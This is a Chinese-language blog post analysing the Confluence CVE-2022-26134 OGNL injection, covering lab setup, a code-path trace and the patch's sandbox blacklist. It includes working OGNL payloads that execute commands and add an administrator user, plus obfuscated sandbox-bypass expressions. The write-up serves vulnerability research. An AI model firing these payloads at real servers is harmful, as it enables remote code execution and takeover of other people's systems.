Confluence CVE-2022-26134 分析

date
Jul 4, 2022
slug
Confluence-CVE-2022-26134
status
Published
tags
Java安全
安全研究
summary
Confluence CVE-2022-26134 分析
type
Post

环境搭建

这里直接使用vulhub上的环境进行配置,添加上我们需要监听的端口:
version: '2'
services:
  web:
    image: vulhub/confluence:7.13.6
    ports:
      - "8090:8090"
      - "5050:5050"
    depends_on:
      - db
  db:
    image: postgres:12.8-alpine
    environment:
    - POSTGRES_PASSWORD=postgres
    - POSTGRES_DB=confluence
可以通过进入容器查看对应的远吗位置在哪,一般通过进程命令ps -le或者ps aux 查看,可以观察到源码是在/opt/atlassian/
notion image
将源码内容从docker里面整出来添加到IDEA的Library里面,主要是/confluence/WEB-INF下的atlassian-bundled-pluginsatlassian-bundled-plugins-setuplib 下的文件
然后寻找启动的配置文件,通过entrypoint.py 文件并进行查看,发现启动是通过运行 start-confluence.sh 文件,
notion image
start-confluence.sh 文件发现会调用 catalina.sh 启动Tomcat,而Tomcat会通过setenv.sh管理环境,所以debug的设置在/opt/atlassian/confluence/bin/setenv.sh这个文件进行修改
notion image
然后重启就能够愉快地调试了

漏洞复现

根据vulhub上的payload进行测试
${(#a=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec("id").getInputStream(),"utf-8")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader("X-Cmd-Response",#a))}
又是一个可以直接GET打的操作,配合上SSRF操作无敌了,注意payload最后得加上/ 不然触发不了
notion image

漏洞分析

在web.xml里面寻找路由入口,可以观察到servlet内容都会经过com.atlassian.confluence.servlet.ConfluenceServletDispatcher 处理
notion image
在这个类里面并没有找到相关的service方法,但是可以从它的父类找到对应的service方法,父类是ServletDispatcher 继承了HttpServlet
notion image
在这里面可以找到service方法,然后调用该类的serviceAction 方法,断点打在service方法里面开始调试
根据vulhub里面的payload进行调试,会发现request的内容会经过getNameSpacegetActionNamegetRequestMapgetParameterMapgetSessionMap 函数进行处理
notion image
主要关注getNameSpacegetActionName ,这两个函数用于处理请求路由
getActionName 里面主要获取了请求的path路径,默认在路径后面添加上index.action进行处理,然后最后返回index 字符串,估计是对/xxx/ 这种路径的默认处理
notion image
而在getNameSpace 函数则是则是获取servletPath 进行处理,这里的servletPath 也是默认加上了index.action 的,后续会通过getNamespaceFromServletPath 函数进一步处理,然后把index.action去除掉,到最后一个 / 的路径,然后剩下就是我们的payload内容了
notion image
继续跟进会进入到com.atlassian.confluence.servlet.ConfluenceServletDispatcher#serviceAction ,这里面namespace参数是payload参数,先是创建了一个proxy,这里面创建的是一个com.opensymphony.xwork.DefaultActionProxy#DefaultActionProxy ,payload的内容会变成这个类的一个属性namespace
notion image
这个proxy到后期会执行execute方法,后续会进入到com.opensymphony.xwork.DefaultActionInvocation#invoke
notion image
com.opensymphony.xwork.DefaultActionInvocation#invoke 里面会进行Interceptor 的相关操作,会遍历所有的Interceptor 进行处理
notion image
最后会进入到this.proxy.getExecuteResult() 的这个分支,执行com.opensymphony.xwork.DefaultActionInvocation#executeResult,为什么会进入到这个分支,因为初始化com.opensymphony.xwork.DefaultActionProxy#DefaultActionProxy 的时候调用的是com.opensymphony.xwork.DefaultActionProxyFactory#createActionProxy(java.lang.String, java.lang.String, java.util.Map),默认的第四个参数是true,导致最后进入到了这个分支
notion image
跟进到com.opensymphony.xwork.DefaultActionInvocation#executeResult ,后面执行到this.result.execute ,这里的result是通过createResult 函数获得的,createResult 函数根据resultCode来构建result,也就是之前拦截器生成的结果,这个拦截器产生的结果是notpermitted 类型的,然后生成了一个com.opensymphony.xwork.ActionChainResultresult,具体可以自己调一下
notion image
 
 
后面进入到com.opensymphony.xwork.ActionChainResult#execute 方法里面,这里就涉及到Ognl表达式执行相关的内容,最后进入到findValue的触发点就执行了
notion image
 
 
 
 

补丁以及后续分析

根据漏洞可以定位关键触发点应该在com.opensymphony.xwork.ActionChainResult#execute
根据官网给的补丁diff一下
可以看到相关内容已经不使用Ognl进行处理了
notion image
而且还有一个点,就是7.15之后的Confluence在Ognl的处理上使用沙箱进行了黑白名单处理
notion image
存在一个不安全表达式的检查:
notion image
这里面的黑名单包括:
unsafePropertyNames
sun.misc.Unsafe
classLoader
java.lang.System
java.lang.ThreadGroup
com.opensymphony.xwork.ActionContext                 
java.lang.Compiler
com.atlassian.applinks.api.ApplicationLinkRequestFactory
java.lang.Thread
com.atlassian.core.util.ClassLoaderUtils
java.lang.ProcessBuilder
java.lang.InheritableThreadLocal
com.atlassian.core.util.ClassHelper
class
java.lang.Shutdown
java.lang.ThreadLocal
java.lang.Process
java.lang.Package
org.apache.tomcat.InstanceManager
java.lang.Runtime
javax.script.ScriptEngineManager
javax.persistence.EntityManager
org.springframework.context.ApplicationContext
java.lang.SecurityManager
java.lang.Object
java.lang.Class
java.lang.RuntimePermission
javax.servlet.ServletContext
java.lang.ClassLoader
unsafePackageNames

java.rmi
sun.management
org.apache.catalina.session
java.jms
com.atlassian.confluence.util.io
com.google.common.reflect
javax.sql
java.nio
com.atlassian.sal.api.net
sun.invoke
java.util.zip
liquibase
com.hazelcast
org.apache.commons.httpclient
com.atlassian.util.concurrent
java.net
freemarker.ext.jsp
com.sun.jna
net.java.ao
javax
sun.corba
org.springframework.util.concurrent
com.sun.jmx
sun.misc
javassist
ognl
org.apache.commons.exec
com.atlassian.cache
org.wildfly.extension.undertow.deployment                 
java.lang.reflect
io.atlassian.util.concurrent
java.util.concurrent
com.atlassian.confluence.util.http
sun.tracing
org.objectweb.asm
freemarker.template
net.sf.hibernate
freemarker.core
net.bytebuddy
org.apache.tomcat
freemarker.ext.rhino
com.atlassian.media
org.springframework.context
org.apache.velocity
javax.xml
java.sql
sun.reflect
sun.net
javax.persistence
org.javassist
javax.naming
org.apache.httpcomponents.httpclient
com.atlassian.hibernate
sun.nio
com.atlassian.confluence.impl.util.sandbox
com.google.common.net
com.atlassian.filestore
org.apache.commons.io
com.atlassian.vcache
jdk.nashorn
sun.launcher
oshi
org.apache.bcel
sun.rmi
sun.tools.jar
org.springframework.expression.spel
com.opensymphony.xwork.util
org.ow2.asm
com.atlassian.confluence.setup.bandana
org.quartz
net.sf.cglib
com.atlassian.activeobjects
com.atlassian.utils.process
sun.security
com.atlassian.quartz
javax.management
sun.awt.shell
com.google.common.cache
org.apache.http.client
java.io
com.atlassian.confluence.util.sandbox
java.util.jar
com.atlassian.scheduler
sun.print
com.atlassian.failurecache
com.google.common.io
org.apache.catalina.core
org.ehcache
unsafeMethodNames
getClass
getClassLoader
allowedClassNames
com.atlassian.confluence.util.GeneralUtil,
java.io.Serializable,
java.lang.reflect.Proxy,
net.sf.hibernate.proxy.HibernateProxy,
net.sf.cglib.proxy.Factory,
java.io.ObjectInputValidation,
net.java.ao.Entity,
net.java.ao.RawEntity,
net.java.ao.EntityProxyAccessor
但是大哥们还是找到了绕过方法,学习一下思路,但是宏观上来看的话还是绕过黑白名单的方法
  1. 使用正常功能类
    1. 一个添加用户的骚操作,是从白名单里面第一个类找到的一个有趣的静态方法,使用下面语句可以添加一个example用户:
      ${@com.atlassian.confluence.util.GeneralUtil@getUserAccessor().addUser('example','example','[email protected]','Example',@com.atlassian.confluence.util.GeneralUtil@splitCommaDelimitedString("confluence-administrators,confluence-users"))}
      设置cookie的操作:
      ${@com.atlassian.confluence.util.GeneralUtil@setCookie("key","value")}
      notion image
  1. 使用反射
    1. 但是这个东西还是能够绕过,P牛给出了使用反射+js引擎绕过的方法:
      ${Class.forName("com.opensymphony.webwork.ServletActionContext").getMethod("getResponse",null).invoke(null,null).setHeader("X-CMD",Class.forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("nashorn").eval("eval(String.fromCharCode(118,97,114,32,115,61,39,39,59,118,97,114,32,112,112,32,61,32,106,97,118,97,46,108,97,110,103,46,82,117,110,116,105,109,101,46,103,101,116,82,117,110,116,105,109,101,40,41,46,101,120,101,99,40,39,105,100,39,41,46,103,101,116,73,110,112,117,116,83,116,114,101,97,109,40,41,59,119,104,105,108,101,32,40,49,41,32,123,118,97,114,32,98,32,61,32,112,112,46,114,101,97,100,40,41,59,105,102,32,40,98,32,61,61,32,45,49,41,32,123,98,114,101,97,107,59,125,115,61,115,43,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,98,41,125,59,115))"))}
  1. 字符串拼接
    1. Class.forName('java.lang.Runtime') 这种形式之所以不行,是因为在对常量调用检查时匹配到调用了 java.lang.Runtime 黑名单。所以这里可以通过字符串拼接的形式分割 java.lang.Runtime ,比如 Class.forName('jav'+'a.lang.Runtime') 的形式,直接绕开黑名单匹配。
  1. ClassLoader
    1. 使用不在黑名单中的 ClassLoader类。分析沙箱黑白名单之后,发现 com.sun.org.apache.bcel.internal.util.ClassLoader`类不在黑名单中,既然可以拿到 ClassLoader类那就万事大吉了,通过 loadClass方法加载字节码,就可以自由发挥了。但是在高版本 jdk 中不适用,比如Confluence 如果使用自带的 11 版本的 JDK 就无法使用这个方法。分析发现 Confluence 自带了一个 org.apache.bcel.util.ClassLoader ,位于 xalan.jar JAR 包中,与 com.sun.org.apache.bcel.internal.util.ClassLoader 一样也可以加载 Java 字节码。
  1. this
    1. 虽然过滤了 #request#context 等变量,但是没有过滤 this 。OGNL 表达式是以 . 进行串联的一个链式字符串表达式。而这个表达式在进行计算的时候,从左到右,表达式每一次计算返回的结果成为一个临时的“当前对象”,并在此临时对象之上继续进行计算,直到得到计算结果。而这个临时的“当前对象”会被存储在一个叫做 this 的变量中,这个 this 变量就称为 this 指针。而在本次漏洞触发位置,通过 this 获得的是 URL 目标 Action 对象,当然具体利用效果取决于获取到的 Action 对象。比如利用这种思路可以添加管理员。
 
 

© 4me 2021 - 2024